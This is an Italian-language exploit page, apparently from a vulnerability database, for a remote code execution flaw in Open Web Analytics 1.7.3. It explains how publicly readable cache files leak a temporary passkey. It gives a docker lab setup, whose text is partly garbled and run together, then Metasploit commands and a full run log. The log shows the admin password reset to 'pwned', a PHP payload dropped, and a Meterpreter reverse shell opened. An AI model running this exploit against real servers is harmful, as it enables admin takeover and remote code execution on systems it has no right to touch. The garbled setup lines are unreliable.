
Open Web Analytics 1.7.3 - Esecuzione di codice remoto
Open Web Analytics (OWA) prima della versione 1.7.4 consente a un attaccante remoto non autenticato di ottenere informazioni sensibili sugli utenti, che possono essere utilizzate per ottenere privilegi di amministratore sfruttando gli hash della cache. Ciò accade perché i file generati con '<?php (invece della sequenza "<?php prevista) non vengono gestiti dall'interprete PHP.
Avviare un'istanza vulnerabile di OWA usando docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> e ottenere IPAddress, es. 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Avviare msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> questo deve essere l'IP del bridge creato con il comando docker compose up -d
check
run
Quando si sfrutta il target, la password dell'utente attaccato verrà sovrascritta con questa password.
L'utente che sarà preso di mira con questo exploit.
L'exploit funziona recuperando un valore temp_passkey da un file di cache che viene creato per ogni utente quando si tenta di accedere con esso.
Poiché la directory /owa-data/caches/ è accessibile pubblicamente, possiamo recuperare questi file di cache. Il percorso esatto per i file di cache
dipende da user_id e può essere calcolato con quello. Questa opzione definisce quanti percorsi calcolati, a partire da 0, devono essere
controllati per file di cache con il valore temp_passkey al loro interno.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >